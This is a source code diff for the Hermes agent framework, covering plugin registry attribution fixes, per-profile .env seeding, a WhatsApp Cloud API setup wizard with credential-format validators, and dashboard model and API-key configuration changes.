self._hooks.clear()
|
||||
self._middleware.clear()
|
||||
self._plugin_tool_names.clear()
|
||||
self._plugin_platform_names.clear()
|
||||
self._cli_commands.clear()
|
||||
self._plugin_commands.clear()
|
||||
self._plugin_skills.clear()
|
||||
self._aux_tasks.clear()
|
||||
self._slack_action_handlers.clear()
|
||||
self._context_engine = None
|
||||
# Set the flag up front as a re-entrancy guard (a plugin's register()
|
||||
# can transitively trigger discovery again), but reset it if the sweep
|
||||
@@ -1465,39 +1532,35 @@ class PluginManager:
|
||||
logger.warning("Plugin '%s' has no register() function", manifest.name)
|
||||
else:
|
||||
ctx = PluginContext(manifest, self)
|
||||
# Snapshot registry state BEFORE register() so each registry's
|
||||
# attribution counts only what THIS plugin actually added.
|
||||
# The previous approach diffed names against all already-loaded
|
||||
# plugins, which mis-credited a plugin that registered a hook /
|
||||
# middleware / tool name an earlier plugin had already used:
|
||||
# the shared name was attributed to the first plugin only, so
|
||||
# later plugins under-reported in `hermes plugins list`.
|
||||
_tools_before = set(self._plugin_tool_names)
|
||||
_hook_counts_before = {
|
||||
h: len(cbs) for h, cbs in self._hooks.items()
|
||||
}
|
||||
_mw_counts_before = {
|
||||
kind: len(cbs) for kind, cbs in self._middleware.items()
|
||||
}
|
||||
register_fn(ctx)
|
||||
loaded.tools_registered = [
|
||||
t for t in self._plugin_tool_names
|
||||
if t not in {
|
||||
n
|
||||
for name, p in self._plugins.items()
|
||||
for n in p.tools_registered
|
||||
}
|
||||
if t not in _tools_before
|
||||
]
|
||||
loaded.hooks_registered = [
|
||||
h
|
||||
for h, cbs in self._hooks.items()
|
||||
if len(cbs) > _hook_counts_before.get(h, 0)
|
||||
]
|
||||
loaded.middleware_registered = [
|
||||
kind
|
||||
for kind, cbs in self._middleware.items()
|
||||
if len(cbs) > _mw_counts_before.get(kind, 0)
|
||||
]
|
||||
loaded.hooks_registered = list(
|
||||
{
|
||||
h
|
||||
for h, cbs in self._hooks.items()
|
||||
if cbs # non-empty
|
||||
}
|
||||
- {
|
||||
h
|
||||
for name, p in self._plugins.items()
|
||||
for h in p.hooks_registered
|
||||
}
|
||||
)
|
||||
loaded.middleware_registered = list(
|
||||
{
|
||||
kind
|
||||
for kind, cbs in self._middleware.items()
|
||||
if cbs
|
||||
}
|
||||
- {
|
||||
kind
|
||||
for name, p in self._plugins.items()
|
||||
for kind in p.middleware_registered
|
||||
}
|
||||
)
|
||||
loaded.commands_registered = [
|
||||
c for c in self._plugin_commands
|
||||
if self._plugin_commands[c].get("plugin") == manifest.name
|
||||
@@ -1652,6 +1715,22 @@ class PluginManager:
|
||||
)
|
||||
return results
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Slack action handler accessor
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
def get_slack_action_handlers(self) -> List[tuple]:
|
||||
"""Return the list of plugin-registered Slack action handlers.
|
||||
|
||||
Each entry is a ``(action_id, callback, plugin_name)`` tuple.
|
||||
Consumed by the Slack adapter at connect time to wire callbacks
|
||||
into its ``slack_bolt.AsyncApp``.
|
||||
|
||||
Plugins register handlers via
|
||||
:meth:`PluginContext.register_slack_action_handler`.
|
||||
"""
|
||||
return list(self._slack_action_handlers)
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Introspection
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
@@ -835,6 +835,25 @@ def create_profile(
|
||||
dst.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copy2(src, dst)
|
||||
|
||||
# Seed an empty .env so the profile has its own credentials file from
|
||||
# day one. Without it, profile-scoped env writes (dashboard Channels /
|
||||
# Keys pages, `hermes -p <name> auth add`) had no file until first
|
||||
# write, and the profile silently inherited API keys from the shell
|
||||
# environment — users reasonably read that as "the new profile reads
|
||||
# the root .env". Skipped when --clone/--clone-all already copied one.
|
||||
env_path = profile_dir / ".env"
|
||||
if not env_path.exists():
|
||||
try:
|
||||
env_path.write_text(
|
||||
"# Per-profile secrets for this Hermes profile.\n"
|
||||
"# API keys and tokens set here override the shell environment.\n"
|
||||
"# Behavioral settings belong in config.yaml, not here.\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
os.chmod(str(env_path), 0o600)
|
||||
except OSError:
|
||||
pass # best-effort — save_env_value creates the file on demand
|
||||
|
||||
# Seed a default SOUL.md so the user has a file to customize immediately.
|
||||
# Skipped when the profile already has one (from --clone / --clone-all).
|
||||
soul_path = profile_dir / "SOUL.md"
|
||||
|
||||
@@ -0,0 +1,541 @@
|
||||
"""
|
||||
Interactive setup wizard for the WhatsApp Cloud API adapter.
|
||||
|
||||
Entry point: ``hermes whatsapp-cloud`` (dispatched from
|
||||
``cmd_whatsapp_cloud`` in ``hermes_cli/main.py``).
|
||||
|
||||
Walks the user through the 6 credentials Meta requires + recipient
|
||||
allowlist, auto-generates the verify token, and prints exact follow-up
|
||||
instructions for the parts that can't happen inside the wizard process
|
||||
(starting cloudflared, starting the gateway, configuring Meta's
|
||||
webhook dashboard, adding their phone to the recipient list).
|
||||
|
||||
Heavy emphasis on field-shape validation to catch the most common
|
||||
configuration mistakes:
|
||||
|
||||
- Putting the actual phone number in ``WHATSAPP_CLOUD_PHONE_NUMBER_ID``
|
||||
(the field expects Meta's 15-17 digit internal ID, not a phone number).
|
||||
This is the #1 trap — caught us during Phase 3 live testing.
|
||||
- Pasting tokens with trailing whitespace.
|
||||
- Pasting an OpenAI / Slack / GitHub key by mistake.
|
||||
- Confusing App ID with WABA ID with Phone Number ID.
|
||||
|
||||
Each prompt has contextual help showing exactly where to find the value
|
||||
in Meta's App Dashboard, with a one-line description and the field's
|
||||
expected shape ("starts with EAA", "15-17 digits", "32 hex chars", etc.).
|
||||
|
||||
The wizard intentionally does NOT smoke-test the webhook itself — the
|
||||
Hermes gateway and the cloudflared tunnel both run in separate
|
||||
processes the user starts AFTER this wizard exits, so any in-wizard
|
||||
probe would fail by design. Instead the final SETUP COMPLETE block
|
||||
prints the exact curl command the user can run from a third terminal
|
||||
to verify the loop end-to-end once everything's running.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
from typing import Optional
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Field-shape validators
|
||||
# ---------------------------------------------------------------------------
|
||||
#
|
||||
# Each validator returns (ok, reason_if_not_ok). The wizard uses them to
|
||||
# reject obviously-malformed input before saving — saves users a round
|
||||
# trip with Meta's 401 / 400 errors.
|
||||
|
||||
|
||||
def _validate_phone_number_id(value: str) -> tuple[bool, Optional[str]]:
|
||||
"""Phone Number ID is a 15-17 digit numeric ID assigned by Meta.
|
||||
|
||||
It's NOT a phone number. The #1 setup mistake is pasting the actual
|
||||
phone number (e.g. ``15556422442``) into this field — that's only
|
||||
10-11 digits and gets rejected by Graph as "Object with ID does
|
||||
not exist."
|
||||
"""
|
||||
if not value:
|
||||
return False, "Phone Number ID is required"
|
||||
s = value.strip()
|
||||
if not s.isdigit():
|
||||
return False, "Phone Number ID must be numeric (no '+', spaces, or dashes)"
|
||||
# Real phone numbers are 10-11 digits (US/CA country code + area code
|
||||
# + 7 digits). Meta's internal IDs are 15-17 digits. If we see a
|
||||
# phone-number-sized value, the user almost certainly pasted the
|
||||
# phone number by mistake.
|
||||
if 10 <= len(s) <= 12:
|
||||
return False, (
|
||||
"That looks like a phone number — but this field needs the "
|
||||
"Phone Number ID (Meta's internal ID, 15-17 digits, e.g. "
|
||||
"'7794189252778687'). Look just BELOW the 'From' dropdown in "
|
||||
"API Setup → it's labelled 'Phone number ID'."
|
||||
)
|
||||
if len(s) < 13:
|
||||
return False, "Phone Number ID looks too short (expected 13-18 digits)"
|
||||
if len(s) > 20:
|
||||
return False, "Phone Number ID looks too long (expected 13-18 digits)"
|
||||
return True, None
|
||||
|
||||
|
||||
def _validate_waba_id(value: str) -> tuple[bool, Optional[str]]:
|
||||
"""WABA ID is numeric, similar length range as Phone Number ID."""
|
||||
if not value:
|
||||
return False, "WABA ID is required"
|
||||
s = value.strip()
|
||||
if not s.isdigit():
|
||||
return False, "WABA ID must be numeric"
|
||||
if len(s) < 10 or len(s) > 25:
|
||||
return False, "WABA ID looks wrong (expected 10-25 digits)"
|
||||
return True, None
|
||||
|
||||
|
||||
def _validate_app_id(value: str) -> tuple[bool, Optional[str]]:
|
||||
"""Meta App ID is numeric, typically 15-16 digits."""
|
||||
if not value:
|
||||
return False, "App ID is required"
|
||||
s = value.strip()
|
||||
if not s.isdigit():
|
||||
return False, "App ID must be numeric"
|
||||
if len(s) < 13 or len(s) > 20:
|
||||
return False, "App ID looks wrong (expected 15-16 digits)"
|
||||
return True, None
|
||||
|
||||
|
||||
def _validate_app_secret(value: str) -> tuple[bool, Optional[str]]:
|
||||
"""App Secret is a 32-character lowercase hex string."""
|
||||
if not value:
|
||||
return False, "App Secret is required"
|
||||
s = value.strip()
|
||||
if not re.fullmatch(r"[0-9a-f]+", s.lower()):
|
||||
return False, (
|
||||
"App Secret should be a hex string (only digits 0-9 and "
|
||||
"letters a-f). Make sure you copied the 'App secret' from "
|
||||
"Settings → Basic, not some other token."
|
||||
)
|
||||
if len(s) != 32:
|
||||
return False, f"App Secret should be exactly 32 hex characters (got {len(s)})"
|
||||
return True, None
|
||||
|
||||
|
||||
def _validate_access_token(value: str) -> tuple[bool, Optional[str]]:
|
||||
"""Meta access tokens start with ``EAA`` and are 100-300+ characters.
|
||||
|
||||
Both temp tokens (24h) and System User permanent tokens share this
|
||||
prefix. We don't try to distinguish them.
|
||||
"""
|
||||
if not value:
|
||||
return False, "Access token is required"
|
||||
s = value.strip()
|
||||
if not s.startswith("EAA"):
|
||||
# Diagnose common paste mistakes
|
||||
if s.startswith("sk-"):
|
||||
return False, (
|
||||
"That's an OpenAI key (starts with 'sk-'), not a Meta "
|
||||
"WhatsApp access token. Meta tokens start with 'EAA'."
|
||||
)
|
||||
if s.startswith("xoxb-") or s.startswith("xoxp-"):
|
||||
return False, (
|
||||
"That's a Slack token, not a Meta WhatsApp access token. "
|
||||
"Meta tokens start with 'EAA'."
|
||||
)
|
||||
if s.startswith("ghp_") or s.startswith("gho_"):
|
||||
return False, (
|
||||
"That's a GitHub token, not a Meta WhatsApp access "
|
||||
"token. Meta tokens start with 'EAA'."
|
||||
)
|
||||
return False, (
|
||||
"Meta WhatsApp access tokens start with 'EAA'. Check that "
|
||||
"you're copying from the right place (API Setup → 'Generate "
|
||||
"access token', or Business Settings → System Users → "
|
||||
"'Generate token' for a permanent one)."
|
||||
)
|
||||
if len(s) < 100:
|
||||
return False, f"Access token looks too short ({len(s)} chars, expected 100+)"
|
||||
return True, None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Prompt helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _prompt(message: str, default: Optional[str] = None, secret: bool = False) -> str:
|
||||
"""Read one line of input. Returns "" on EOF / Ctrl+C / empty input.
|
||||
|
||||
The ``default`` parameter is shown to the user but NOT auto-applied
|
||||
on empty input — callers handle the "user kept existing" case
|
||||
explicitly so they can distinguish between a real value and a
|
||||
display preview (e.g. ``"abc12345..."`` for masked secrets).
|
||||
|
||||
``secret=True`` reads via ``getpass`` so credentials are not echoed
|
||||
to the terminal (or left in scrollback).
|
||||
"""
|
||||
try:
|
||||
suffix = f" [{default}]" if default else ""
|
||||
if secret and sys.stdin.isatty():
|
||||
import getpass
|
||||
|
||||
raw = getpass.getpass(f"{message}{suffix} (input hidden): ").strip()
|
||||
else:
|
||||
raw = input(f"{message}{suffix}: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print()
|
||||
return ""
|
||||
return raw
|
||||
|
||||
|
||||
def _prompt_validated(
|
||||
message: str,
|
||||
validator,
|
||||
*,
|
||||
current: Optional[str] = None,
|
||||
help_text: Optional[str] = None,
|
||||
secret: bool = False,
|
||||
) -> Optional[str]:
|
||||
"""Repeat the prompt until the user enters a valid value or aborts.
|
||||
|
||||
Returns the validated value, or None if the user gave up (empty
|
||||
response after an error, or Ctrl+C). ``current`` is shown as a
|
||||
default for re-runs of the wizard with existing config.
|
||||
"""
|
||||
if help_text:
|
||||
for line in help_text.strip().splitlines():
|
||||
print(f" {line}")
|
||||
attempts = 0
|
||||
while True:
|
||||
attempts += 1
|
||||
value = _prompt(f" → {message}", default=current, secret=secret)
|
||||
if not value:
|
||||
return None
|
||||
ok, reason = validator(value)
|
||||
if ok:
|
||||
return value.strip()
|
||||
print(f" ✗ {reason}")
|
||||
if attempts >= 3:
|
||||
try:
|
||||
cont = input(" Try again, or press Enter to skip: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return None
|
||||
if not cont:
|
||||
return None
|
||||
attempts = 0
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Wizard
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def run_whatsapp_cloud_setup() -> int:
|
||||
"""Interactive wizard for the WhatsApp Cloud API adapter.
|
||||
|
||||
Returns 0 on full success, 1 on user abort, 2 on partial completion
|
||||
(some fields written but the user bailed before finishing).
|
||||
"""
|
||||
from hermes_cli.config import get_env_value, save_env_value
|
||||
|
||||
print()
|
||||
print("⚕ WhatsApp Business Cloud API Setup")
|
||||
print("=" * 50)
|
||||
print()
|
||||
print("This wizard configures Hermes to talk to WhatsApp via Meta's")
|
||||
print("official Cloud API. It's the production-grade path:")
|
||||
print()
|
||||
print(" • No QR codes, no Node.js bridge subprocess")
|
||||
print(" • Stable connection — no account-ban risk")
|
||||
print(" • Business account required (not personal WhatsApp)")
|
||||
print(" • Public webhook URL required (Cloudflare Tunnel, ngrok,")
|
||||
print(" or your own reverse proxy with TLS)")
|
||||
print()
|
||||
print("If you don't have a Meta app set up yet, follow these steps")
|
||||
print("FIRST, then come back and re-run this wizard:")
|
||||
print()
|
||||
print(" 1. https://developers.facebook.com/apps → Create App")
|
||||
print(" → 'Connect with customers through WhatsApp'")
|
||||
print(" 2. App Dashboard → WhatsApp → API Setup")
|
||||
print(" 3. Click 'Generate access token' (temp 24h token is fine to")
|
||||
print(" start; switch to a System User permanent token later)")
|
||||
print()
|
||||
try:
|
||||
proceed = input("Press Enter to continue, or Ctrl+C to abort... ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print("\nSetup cancelled.")
|
||||
return 1
|
||||
|
||||
print()
|
||||
print("─" * 50)
|
||||
print("STEP 1 — Phone Number ID")
|
||||
print("─" * 50)
|
||||
current_phone_id = get_env_value("WHATSAPP_CLOUD_PHONE_NUMBER_ID") or None
|
||||
phone_id = _prompt_validated(
|
||||
"Phone Number ID",
|
||||
_validate_phone_number_id,
|
||||
current=current_phone_id,
|
||||
help_text=(
|
||||
"Found in: App Dashboard → WhatsApp → API Setup, in the\n"
|
||||
"'Send and receive messages' section.\n"
|
||||
"Look BELOW the 'From' dropdown — there's a 'Phone number ID'\n"
|
||||
"line with the value (15-17 digits, e.g. '7794189252778687').\n"
|
||||
"It is NOT the phone number itself (+1 555-...). That's the\n"
|
||||
"single most common setup mistake."
|
||||
),
|
||||
)
|
||||
if not phone_id:
|
||||
if current_phone_id:
|
||||
phone_id = current_phone_id
|
||||
print(f" ✓ Keeping existing: {phone_id}")
|
||||
else:
|
||||
print("\n✗ Phone Number ID is required. Aborting.")
|
||||
return 1
|
||||
else:
|
||||
save_env_value("WHATSAPP_CLOUD_PHONE_NUMBER_ID", phone_id)
|
||||
print(f" ✓ Saved: {phone_id}")
|
||||
print()
|
||||
|
||||
print("─" * 50)
|
||||
print("STEP 2 — Access Token")
|
||||
print("─" * 50)
|
||||
current_token = get_env_value("WHATSAPP_CLOUD_ACCESS_TOKEN") or None
|
||||
current_display = (current_token[:15] + "...") if current_token else None
|
||||
token = _prompt_validated(
|
||||
"Access Token",
|
||||
_validate_access_token,
|
||||
current=current_display,
|
||||
secret=True,
|
||||
help_text=(
|
||||
"Two options for getting one:\n\n"
|
||||
" (a) TEMP — App Dashboard → WhatsApp → API Setup →\n"
|
||||
" 'Generate access token' button. Lasts 24 hours.\n"
|
||||
" Fine for testing today; you'll have to regenerate\n"
|
||||
" tomorrow.\n\n"
|
||||
" (b) PERMANENT (production) — System User token. One-time\n"
|
||||
" setup, never expires:\n"
|
||||
" • business.facebook.com → Settings → System users →\n"
|
||||
" Add → Admin role\n"
|
||||
" • Assign Assets → your app (Manage app), your\n"
|
||||
" WhatsApp account (Manage WABAs)\n"
|
||||
" • Generate token → expiration: Never → permissions:\n"
|
||||
" business_management, whatsapp_business_messaging,\n"
|
||||
" whatsapp_business_management\n\n"
|
||||
"Tokens start with 'EAA'."
|
||||
),
|
||||
)
|
||||
# If they had a current token and just hit Enter, keep it.
|
||||
if not token:
|
||||
if current_token:
|
||||
token = current_token
|
||||
print(" ✓ Keeping existing token")
|
||||
else:
|
||||
print("\n✗ Access Token is required. Aborting.")
|
||||
return 1
|
||||
else:
|
||||
save_env_value("WHATSAPP_CLOUD_ACCESS_TOKEN", token)
|
||||
print(" ✓ Saved (token hidden)")
|
||||
print()
|
||||
|
||||
print("─" * 50)
|
||||
print("STEP 3 — App Secret (required for webhook signature verification)")
|
||||
print("─" * 50)
|
||||
current_secret = get_env_value("WHATSAPP_CLOUD_APP_SECRET") or None
|
||||
current_secret_display = (current_secret[:8] + "...") if current_secret else None
|
||||
app_secret = _prompt_validated(
|
||||
"App Secret",
|
||||
_validate_app_secret,
|
||||
current=current_secret_display,
|
||||
secret=True,
|
||||
help_text=(
|
||||
"Found in: App Dashboard → Settings → Basic →\n"
|
||||
"'App secret' field (click 'Show', enter your Facebook password).\n\n"
|
||||
"If 'Show' doesn't appear, you may need Admin role on the app.\n"
|
||||
"It's a 32-character lowercase hex string.\n\n"
|
||||
"Without the App Secret, inbound webhook POSTs are refused\n"
|
||||
"with HTTP 503 (we can't verify they actually came from Meta)."
|
||||
),
|
||||
)
|
||||
if not app_secret:
|
||||
if current_secret:
|
||||
app_secret = current_secret
|
||||
print(" ✓ Keeping existing App Secret")
|
||||
else:
|
||||
print("\n⚠ Skipping App Secret — inbound webhooks will be refused")
|
||||
print(" until you set WHATSAPP_CLOUD_APP_SECRET manually.")
|
||||
else:
|
||||
save_env_value("WHATSAPP_CLOUD_APP_SECRET", app_secret)
|
||||
print(" ✓ Saved (secret hidden)")
|
||||
print()
|
||||
|
||||
print("─" * 50)
|
||||
print("STEP 4 — App ID & WABA ID (optional, for analytics)")
|
||||
print("─" * 50)
|
||||
current_app_id = get_env_value("WHATSAPP_CLOUD_APP_ID") or None
|
||||
app_id = _prompt_validated(
|
||||
"App ID (optional, press Enter to skip)",
|
||||
lambda v: (True, None) if not v else _validate_app_id(v),
|
||||
current=current_app_id,
|
||||
help_text=(
|
||||
"Found in: App Dashboard → Settings → Basic → 'App ID' at the\n"
|
||||
"top of the page. Numeric, ~15-16 digits.\n"
|
||||
"Not required for messaging — useful only for analytics later."
|
||||
),
|
||||
)
|
||||
if app_id:
|
||||
save_env_value("WHATSAPP_CLOUD_APP_ID", app_id)
|
||||
print(f" ✓ Saved: {app_id}")
|
||||
elif current_app_id:
|
||||
print(f" ✓ Keeping existing: {current_app_id}")
|
||||
|
||||
current_waba_id = get_env_value("WHATSAPP_CLOUD_WABA_ID") or None
|
||||
waba_id = _prompt_validated(
|
||||
"WABA ID (optional, press Enter to skip)",
|
||||
lambda v: (True, None) if not v else _validate_waba_id(v),
|
||||
current=current_waba_id,
|
||||
help_text=(
|
||||
"WhatsApp Business Account ID. Found in: App Dashboard →\n"
|
||||
"WhatsApp → API Setup, near the top — 'WhatsApp Business\n"
|
||||
"Account ID'. Numeric, ~15+ digits.\n"
|
||||
"Not required for messaging — useful for analytics."
|
||||
),
|
||||
)
|
||||
if waba_id:
|
||||
save_env_value("WHATSAPP_CLOUD_WABA_ID", waba_id)
|
||||
print(f" ✓ Saved: {waba_id}")
|
||||
elif current_waba_id:
|
||||
print(f" ✓ Keeping existing: {current_waba_id}")
|
||||
print()
|
||||
|
||||
print("─" * 50)
|
||||
print("STEP 5 — Verify Token (auto-generated)")
|
||||
print("─" * 50)
|
||||
current_verify = get_env_value("WHATSAPP_CLOUD_VERIFY_TOKEN") or None
|
||||
if current_verify:
|
||||
print(f" An existing verify token is already set ({current_verify[:8]}...).")
|
||||
try:
|
||||
regen = input(" Generate a new one? [y/N]: ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
regen = "n"
|
||||
if regen in {"y", "yes"}:
|
||||
verify_token = secrets.token_urlsafe(32)
|
||||
save_env_value("WHATSAPP_CLOUD_VERIFY_TOKEN", verify_token)
|
||||
print(f" ✓ New verify token: {verify_token}")
|
||||
else:
|
||||
verify_token = current_verify
|
||||
print(" ✓ Keeping existing verify token")
|
||||
else:
|
||||
verify_token = secrets.token_urlsafe(32)
|
||||
save_env_value("WHATSAPP_CLOUD_VERIFY_TOKEN", verify_token)
|
||||
print(f" ✓ Generated: {verify_token}")
|
||||
print()
|
||||
print(" → COPY THIS TOKEN NOW. You'll paste it into Meta's webhook")
|
||||
print(" configuration dialog (next step).")
|
||||
print()
|
||||
|
||||
print("─" * 50)
|
||||
print("STEP 6 — Recipient Allowlist")
|
||||
print("─" * 50)
|
||||
print()
|
||||
print(" Who is allowed to message the bot? (Comma-separated phone")
|
||||
print(" numbers with country code, no '+' / spaces / dashes. Use '*'")
|
||||
print(" to allow anyone — only safe if you've also configured Meta's")
|
||||
print(" recipient whitelist for app-development mode.)")
|
||||
print()
|
||||
current_allow = get_env_value("WHATSAPP_CLOUD_ALLOWED_USERS") or None
|
||||
allow_default = current_allow if current_allow else None
|
||||
try:
|
||||
allowed = input(
|
||||
f" → Allowed users{' [' + allow_default + ']' if allow_default else ''}: "
|
||||
).strip() or (allow_default or "")
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
allowed = ""
|
||||
if allowed:
|
||||
# Light normalization — strip spaces and dashes from each entry.
|
||||
allowed = ",".join(
|
||||
re.sub(r"[\s\-+]", "", part) for part in allowed.split(",") if part.strip()
|
||||
)
|
||||
save_env_value("WHATSAPP_CLOUD_ALLOWED_USERS", allowed)
|
||||
print(f" ✓ Saved: {allowed}")
|
||||
else:
|
||||
print(" ⚠ No allowlist — every inbound message will be denied.")
|
||||
print(" Re-run this wizard or set WHATSAPP_CLOUD_ALLOWED_USERS manually.")
|
||||
print()
|
||||
|
||||
print("─" * 50)
|
||||
print("SETUP COMPLETE — Next steps")
|
||||
print("─" * 50)
|
||||
print()
|
||||
print(" Hermes needs a public HTTPS URL to receive WhatsApp messages.")
|
||||
print(" The recommended path is Cloudflare Tunnel (free, no port")
|
||||
print(" forwarding, no DNS setup).")
|
||||
print()
|
||||
print(" 1. Install cloudflared (one-time, if you don't have it):")
|
||||
print(" Windows: winget install Cloudflare.cloudflared")
|
||||
print(" macOS: brew install cloudflared")
|
||||
print(" Linux: https://github.com/cloudflare/cloudflared/releases")
|
||||
print()
|
||||
print(" Alternatives: ngrok, or your own domain + reverse proxy")
|
||||
print(" with TLS.")
|
||||
print()
|
||||
print(" 2. Start the tunnel in a separate terminal:")
|
||||
print(" cloudflared tunnel --url http://localhost:8090")
|
||||
print(" Note the printed https://<random>.trycloudflare.com URL.")
|
||||
print()
|
||||
print(" 3. Start the Hermes gateway in another terminal:")
|
||||
print(" hermes gateway")
|
||||
print()
|
||||
print(" 4. Verify your local config is reachable. From a third")
|
||||
print(" terminal, with the tunnel URL substituted:")
|
||||
print()
|
||||
print(" curl 'https://YOUR-TUNNEL.trycloudflare.com/whatsapp/webhook?\\")
|
||||
print(f" hub.mode=subscribe&hub.verify_token={verify_token}&\\")
|
||||
print(" hub.challenge=hello'")
|
||||
print()
|
||||
print(" Expected: HTTP 200 with body 'hello'.")
|
||||
print(" Also try: curl https://YOUR-TUNNEL.trycloudflare.com/health")
|
||||
print(" (should return JSON with verify_token_configured: true).")
|
||||
print()
|
||||
print(" 5. Configure Meta to point at your tunnel:")
|
||||
print(" App Dashboard → WhatsApp → Configuration → Edit webhook")
|
||||
print(" Callback URL: <tunnel-url>/whatsapp/webhook")
|
||||
print(f" Verify Token: {verify_token}")
|
||||
print(" → Click 'Verify and save'")
|
||||
print(" → Then 'Manage' webhook fields → subscribe to 'messages'")
|
||||
print()
|
||||
print(" 6. Add your phone to Meta's recipient list:")
|
||||
print(" App Dashboard → WhatsApp → API Setup → 'To' →")
|
||||
print(" 'Manage phone number list'")
|
||||
print()
|
||||
print(" 7. DM the bot's test number from your phone.")
|
||||
print()
|
||||
print("─" * 50)
|
||||
print("Optional: polish your bot's WhatsApp profile")
|
||||
print("─" * 50)
|
||||
print()
|
||||
print(" WhatsApp shows a display name and profile picture for your bot")
|
||||
print(" in every chat header and contact list. These are set in Meta's")
|
||||
print(" Business Manager, not via this wizard — but here's where to do")
|
||||
print(" it once you're up and running:")
|
||||
print()
|
||||
effective_waba = waba_id or current_waba_id
|
||||
if effective_waba:
|
||||
print(" • Display name + profile picture:")
|
||||
print(" https://business.facebook.com/wa/manage/phone-numbers/"
|
||||
f"?waba_id={effective_waba}")
|
||||
else:
|
||||
print(" • Display name + profile picture:")
|
||||
print(" https://business.facebook.com/wa/manage/phone-numbers/")
|
||||
print(" (select your WhatsApp Business Account on that page)")
|
||||
print(" Display-name changes go through a ~24-48h Meta review.")
|
||||
print()
|
||||
print(" • About, description, website, hours, business category:")
|
||||
print(" Same page → click your phone number → 'Edit profile'.")
|
||||
print()
|
||||
print(" • Verified badge (the green check):")
|
||||
print(" Requires Meta's business verification process —")
|
||||
print(" Business Manager → Security Center → Start Verification.")
|
||||
print()
|
||||
print(" Docs: https://hermes-agent.nousresearch.com/docs/user-guide/")
|
||||
print(" messaging/whatsapp-cloud")
|
||||
print()
|
||||
return 0
|
||||
@@ -344,7 +344,7 @@ def show_status(args):
|
||||
print(color("◆ Nous Tool Gateway", Colors.CYAN, Colors.BOLD))
|
||||
message = format_nous_portal_entitlement_message(
|
||||
nous_account_info,
|
||||
capability="managed web, image, TTS, browser, and Modal tools",
|
||||
capability="managed web, image, TTS, STT, browser, and Modal tools",
|
||||
)
|
||||
if message:
|
||||
for line in message.splitlines():
|
||||
|
||||
+197
-62
@@ -632,6 +632,12 @@ class EnvVarUpdate(BaseModel):
|
||||
key: str
|
||||
value: str
|
||||
profile: Optional[str] = None
|
||||
# Optional bearer key for the connectivity probe of a custom/local endpoint
|
||||
# (``key == "OPENAI_BASE_URL"``). Self-hosted endpoints that gate
|
||||
# ``/v1/models`` behind auth otherwise look "reachable but empty"; sending
|
||||
# the key lets the probe enumerate the served models. Ignored for the
|
||||
# regular PUT /api/env path (which only reads key/value).
|
||||
api_key: str = ""
|
||||
|
||||
|
||||
class EnvVarDelete(BaseModel):
|
||||
@@ -648,6 +654,9 @@ class MessagingPlatformUpdate(BaseModel):
|
||||
enabled: Optional[bool] = None
|
||||
env: Dict[str, str] = {}
|
||||
clear_env: List[str] = []
|
||||
# Explicit body profile beats the query param injected by the global
|
||||
# dashboard profile switcher (same precedence as other scoped writes).
|
||||
profile: Optional[str] = None
|
||||
|
||||
|
||||
class TelegramOnboardingStart(BaseModel):
|
||||
@@ -719,6 +728,12 @@ class ModelAssignment(BaseModel):
|
||||
# reads model.base_url from config (it ignores OPENAI_BASE_URL), so this is
|
||||
# the path that actually wires a local endpoint into resolution.
|
||||
base_url: str = ""
|
||||
# Optional API key for a custom/local endpoint. Persisted to
|
||||
# ``model.api_key`` (where the runtime resolver reads it) so a self-hosted
|
||||
# endpoint that requires auth works from the GUI — mirrors the key the
|
||||
# ``hermes model`` custom flow collects. Honored only on the main slot for
|
||||
# custom/local providers.
|
||||
api_key: str = ""
|
||||
confirm_expensive_model: bool = False
|
||||
profile: Optional[str] = None
|
||||
|
||||
@@ -791,7 +806,7 @@ def _normalize_main_model_assignment(provider: str, model: str) -> tuple[str, st
|
||||
|
||||
|
||||
def _apply_main_model_assignment(
|
||||
model_cfg: "Any", provider: str, model: str, base_url: str = ""
|
||||
model_cfg: "Any", provider: str, model: str, base_url: str = "", api_key: str = ""
|
||||
) -> dict:
|
||||
"""Apply a main-slot model assignment to a ``model`` config dict in place.
|
||||
|
||||
@@ -831,6 +846,14 @@ def _apply_main_model_assignment(
|
||||
# it so the new provider's default endpoint is used. Same-provider
|
||||
# re-assignment keeps the user's configured base_url intact.
|
||||
model_cfg["base_url"] = ""
|
||||
# The endpoint key follows the same lifecycle as base_url: an explicit key
|
||||
# is always persisted; an existing key is dropped only when switching to a
|
||||
# different provider (it belonged to the old endpoint), and preserved on a
|
||||
# same-provider re-pick so re-selecting a model doesn't wipe the key.
|
||||
if api_key.strip():
|
||||
model_cfg["api_key"] = api_key.strip()
|
||||
elif model_cfg.get("api_key") and new_provider != prev_provider:
|
||||
model_cfg["api_key"] = ""
|
||||
model_cfg.pop("context_length", None)
|
||||
return model_cfg
|
||||
|
||||
@@ -1638,6 +1661,49 @@ async def get_status():
|
||||
}
|
||||
|
||||
|
||||
_WINDOWS_11_MIN_BUILD = 22000
|
||||
|
||||
|
||||
def _windows_build_number(version: str, platform_label: str) -> Optional[int]:
|
||||
"""Extract the Windows NT build number from stdlib platform strings."""
|
||||
for value in (version or "", platform_label or ""):
|
||||
match = re.search(r"(?:^|[^\d])10\.0\.(\d{5,})(?:[^\d]|$)", value)
|
||||
if not match:
|
||||
continue
|
||||
try:
|
||||
return int(match.group(1))
|
||||
except ValueError:
|
||||
continue
|
||||
return None
|
||||
|
||||
|
||||
def _display_system_platform(
|
||||
*,
|
||||
system: str,
|
||||
release: str,
|
||||
version: str,
|
||||
platform_label: str,
|
||||
) -> Dict[str, str]:
|
||||
